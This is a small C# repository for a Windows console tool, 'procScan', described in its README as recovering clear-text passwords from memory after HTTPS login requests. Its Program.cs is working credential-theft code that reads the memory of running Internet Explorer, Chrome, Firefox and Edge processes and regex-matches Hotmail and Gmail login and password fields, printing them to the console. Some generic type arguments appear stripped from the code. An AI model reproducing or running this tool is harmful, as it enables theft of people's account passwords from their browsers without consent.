├── .gitignore
├── README.md
├── procScan.sln
└── procScan
├── Program.cs
├── Properties
└── AssemblyInfo.cs
└── procScan.csproj
/.gitignore:
--------------------------------------------------------------------------------
1 | .vs/
2 | procScan/bin/
3 | procScan/obj/
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # memparse
2 | memParse is intended to recover clear text passwords from memory that have been sent via HTTPS POST login requests
3 |
4 | Capture the POST request in your favourite proxy software, add a regex entry and you're off to the races!
5 |
6 | Happy hunting!
7 |
8 | ex.
9 |
MemProcInspector.AddRegex("GMail", "identifier=.{1,200}");
10 |
--------------------------------------------------------------------------------
/procScan.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27703.2000
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "procScan", "procScan\procScan.csproj", "{EB353F85-B18C-409D-99CE-DBD892BFB750}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {EB353F85-B18C-409D-99CE-DBD892BFB750}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {9ED02F92-1588-4C98-8ABD-D4E4163F4DBC}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/procScan/Program.cs:
--------------------------------------------------------------------------------
1 | //adapted from https://github.com/putterpanda/mimikittenz
2 |
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Text;
6 | using System.Diagnostics;
7 | using System.Runtime.InteropServices;
8 | using System.Text.RegularExpressions;
9 |
10 | namespace procScan
11 | {
12 | public class MemProcInspector
13 | {
14 | static MemProcInspector()
15 | {
16 | InitRegexes();
17 | }
18 | public static void AddRegex(string name, string pattern)
19 | {
20 | regexes.Add(new RegexRecord(name, pattern));
21 | }
22 | public static List regexes = new List();
23 | public static List InspectManyProcs(params string[] procNames)
24 | {
25 | List lstMatch = new List();
26 | string res;
27 | foreach (string procName in procNames)
28 | {
29 | try
30 | {
31 | Process[] procs = Process.GetProcessesByName(procName);
32 | foreach (Process pr in procs)
33 | {
34 | Process process = pr;
35 | res = InspectProc(process, ref lstMatch);
36 | }
37 | }
38 | catch (Exception ex)
39 | {
40 | res = ex.Message;
41 | res = ex.StackTrace;
42 | }
43 | }
44 | List lstToReturn = new List();
45 | return lstMatch;
46 | }
47 | private static void InitRegexes()
48 | {
49 | regexes.Clear();
50 | }
51 | private static string InspectProc(Process process, ref List lstMatch)
52 | {
53 | string res;
54 | IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);
55 | if (processHandle.ToInt64() == 0)
56 | {
57 | int err = Marshal.GetLastWin32Error();
58 | }
59 | res = SearchProc(processHandle, ref lstMatch, process.ProcessName);
60 | MInterop.CloseHandle(processHandle);
61 | return res;
62 | }
63 | private static string SearchProc(IntPtr processHandle, ref List lstMatch, string processName)
64 | {
65 | string res = "";
66 | MInterop.SYSTEM_INFO si = new MInterop.SYSTEM_INFO();
67 | MInterop.GetSystemInfo(out si);
68 | long createdSize = 1;
69 | byte[] lpBuffer = new byte[createdSize];
70 | Int64 total = 0;
71 | long regionStart = si.minimumApplicationAddress.ToInt64();
72 | bool skipRegion = false;
73 | bool stop = false;
74 | while (regionStart < si.maximumApplicationAddress.ToInt64() && !stop)
75 | {
76 | MInterop.MEMORY_BASIC_INFORMATION memInfo;
77 | long regionRead = 0;
78 | long regionSize;
79 | int resulq = MInterop.VirtualQueryEx(processHandle, (IntPtr)regionStart, out memInfo, (uint)Marshal.SizeOf(typeof(MInterop.MEMORY_BASIC_INFORMATION)));
80 | if (resulq == 0)
81 | {
82 | int err = Marshal.GetLastWin32Error();
83 | Marshal.ThrowExceptionForHR(err);
84 | break;
85 | }
86 | regionSize = (memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64() - regionStart);
87 | if (MInterop.IsDataRegion(memInfo) == false)
88 | {
89 | }
90 | if (skipRegion)
91 | {
92 | skipRegion = false;
93 | }
94 | else
95 | if (MInterop.IsDataRegion(memInfo))
96 | {
97 | if (createdSize < regionSize)
98 | {
99 | createdSize = regionSize;
100 | lpBuffer = new byte[createdSize];
101 | }
102 | bool resRead = false;
103 | try
104 | {
105 | resRead = MInterop.ReadProcessMemory(processHandle, new IntPtr(regionStart), lpBuffer, regionSize, out regionRead);
106 | }
107 | catch
108 | {
109 | resRead = false;
110 | }
111 | regionSize = (int)regionRead;
112 | if (!resRead)
113 | {
114 | skipRegion = true;
115 | }
116 | if (resRead)
117 | {
118 | List strsTolook = new List();
119 | string str1 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0, (int)regionRead);
120 | string str11 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0 + 1, (int)regionRead - 1);
121 | string str4 = UnicodeEncoding.ASCII.GetString(lpBuffer, 0, (int)regionRead);
122 | strsTolook.Add(str1);
123 | strsTolook.Add(str4);
124 | strsTolook.Add(str11);
125 | foreach (RegexRecord regexRec in regexes)
126 | {
127 | foreach (string str in strsTolook)
128 | {
129 | MatchCollection matches3 = regexRec.Regex.Matches(str);
130 | if (matches3.Count > 0)
131 | {
132 | for (int i = 0; i < matches3.Count; i++)
133 | if (matches3[i].Success && IsMatchesContain(lstMatch, matches3[i].Value) == false && IsRegexRecordsContain(matches3[i].Value) == false)
134 | {
135 | MatchInfo m = new MatchInfo();
136 | m.PatternName = regexRec.Name;
137 | m.PatternMatch = matches3[i].Value;
138 | m.ProcessName = processName;
139 | lstMatch.Add(m);
140 | }
141 | res = matches3[0].Value;
142 | }
143 | }
144 | }
145 | }
146 | total += regionSize;
147 | }
148 | regionStart += regionSize;
149 | }
150 | return res;
151 | }
152 | private static bool IsMatchesContain(List matches, string val)
153 | {
154 | foreach (MatchInfo item in matches)
155 | {
156 | if (string.Compare(item.PatternMatch, val) == 0)
157 | return true;
158 | }
159 | return false;
160 | }
161 | private static bool IsRegexRecordsContain(string pattern)
162 | {
163 | foreach (RegexRecord item in regexes)
164 | {
165 | if (string.Compare(item.Pattern, pattern) == 0)
166 | return true;
167 | }
168 | return false;
169 | }
170 | const int MAX_PREFIX_LENGTH = 1;
171 | const int MAX_MATCH_LENGTH = 1024;
172 | const int DEFAULT_SEARCH_BUFFER_SIZE = (10 * 1024 * 1024);
173 | const int MAX_SEARCH_BUFFER_SIZE = (25 * 1024 * 1024);
174 | }
175 | public class MatchInfo
176 | {
177 | public string PatternName;
178 | public string PatternMatch;
179 | public string ProcessName;
180 | }
181 | public class RegexRecord
182 | {
183 | Regex mRegex;
184 | protected RegexRecord()
185 | {
186 | }
187 | public RegexRecord(string name, string pattern)
188 | {
189 | Name = name;
190 | Pattern = pattern;
191 | mRegex = new Regex(pattern);
192 | }
193 | public Regex Regex { get { return mRegex; } }
194 | public string Name;
195 | public string Pattern;
196 | }
197 | public class MInterop
198 | {
199 | [DllImport("kernel32.dll", SetLastError = true)]
200 | [return: MarshalAs(UnmanagedType.Bool)]
201 | public static extern bool CloseHandle(IntPtr hObject);
202 | [DllImport("kernel32.dll", SetLastError = true)]
203 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
204 | [DllImport("kernel32.dll", SetLastError = true)]
205 | public static extern bool ReadProcessMemory(IntPtr hProcess,
206 | IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead);
207 | public const int PROCESS_WM_READ = 0x0010;
208 | public const int PROCESS_QUERY_INFORMATION = 0x00000400;
209 | [DllImport("kernel32.dll", SetLastError = true)]
210 | public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
211 | [StructLayout(LayoutKind.Sequential)]
212 |
213 | public struct MEMORY_BASIC_INFORMATION
214 | {
215 | public IntPtr BaseAddress;
216 | public IntPtr AllocationBase;
217 | public uint AllocationProtect;
218 | public short aligment;
219 | public IntPtr RegionSize;
220 | public uint State;
221 | public uint Protect;
222 | public uint Type;
223 | public short aligment2;
224 | }
225 | public enum AllocationProtect : uint
226 | {
227 | PAGE_EXECUTE = 0x00000010,
228 | PAGE_EXECUTE_READ = 0x00000020,
229 | PAGE_EXECUTE_READWRITE = 0x00000040,
230 | PAGE_EXECUTE_WRITECOPY = 0x00000080,
231 | PAGE_NOACCESS = 0x00000001,
232 | PAGE_READONLY = 0x00000002,
233 | PAGE_READWRITE = 0x00000004,
234 | PAGE_WRITECOPY = 0x00000008,
235 | PAGE_GUARD = 0x00000100,
236 | PAGE_NOCACHE = 0x00000200,
237 | PAGE_WRITECOMBINE = 0x00000400
238 | }
239 | [StructLayout(LayoutKind.Sequential)]
240 | public struct SYSTEM_INFO
241 | {
242 | public ushort processorArchitecture;
243 | ushort reserved;
244 | public uint pageSize;
245 | public IntPtr minimumApplicationAddress;
246 | public IntPtr maximumApplicationAddress;
247 | public IntPtr activeProcessorMask;
248 | public uint numberOfProcessors;
249 | public uint processorType;
250 | public uint allocationGranularity;
251 | public ushort processorLevel;
252 | public ushort processorRevision;
253 | }
254 | [DllImport("kernel32.dll")]
255 | public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
256 | public enum StateEnum : uint
257 | {
258 | MEM_COMMIT = 0x1000,
259 | MEM_FREE = 0x10000,
260 | MEM_RESERVE = 0x2000
261 | }
262 | internal static bool IsDataRegion(MEMORY_BASIC_INFORMATION memInfo)
263 | {
264 | bool res =
265 | (memInfo.State & (uint)StateEnum.MEM_COMMIT) != 0 &&
266 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_NOACCESS | (uint)AllocationProtect.PAGE_GUARD)) == 0
267 | &&
268 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_READONLY | (uint)AllocationProtect.PAGE_READWRITE |
269 | (uint)AllocationProtect.PAGE_EXECUTE_READ | (uint)AllocationProtect.PAGE_EXECUTE_READWRITE | (uint)AllocationProtect.PAGE_EXECUTE_WRITECOPY)) != 0;
270 | return res;
271 | }
272 | }
273 | public class ExecMe
274 | {
275 | static void Main(string[] args)
276 | {
277 | MemProcInspector.AddRegex("Hotmail", "&loginfmt=.{1,100}&passwd=.{1,25}");
278 | MemProcInspector.AddRegex("GMail", "identifier=.{1,200}");
279 | List matches = MemProcInspector.InspectManyProcs("iexplore", "chrome", "firefox", "microsoftedge", "microsoftedgecp");
280 | foreach (MatchInfo s in matches)
281 | {
282 | Console.WriteLine(s.ProcessName + "," + s.PatternName + "," + s.PatternMatch);
283 | }
284 |
285 | }
286 | }
287 | }
--------------------------------------------------------------------------------
/procScan/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("procScan")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("procScan")]
13 | [assembly: AssemblyCopyright("Copyright © 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("eb353f85-b18c-409d-99ce-dbd892bfb750")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/procScan/procScan.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {EB353F85-B18C-409D-99CE-DBD892BFB750}
8 | Exe
9 | procScan
10 | procScan
11 | v4.0
12 | 512
13 |
14 |
15 | AnyCPU
16 | true
17 | full
18 | false
19 | bin\Debug\
20 | DEBUG;TRACE
21 | prompt
22 | 4
23 |
24 |
25 | AnyCPU
26 | pdbonly
27 | true
28 | bin\Release\
29 | TRACE
30 | prompt
31 | 4
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------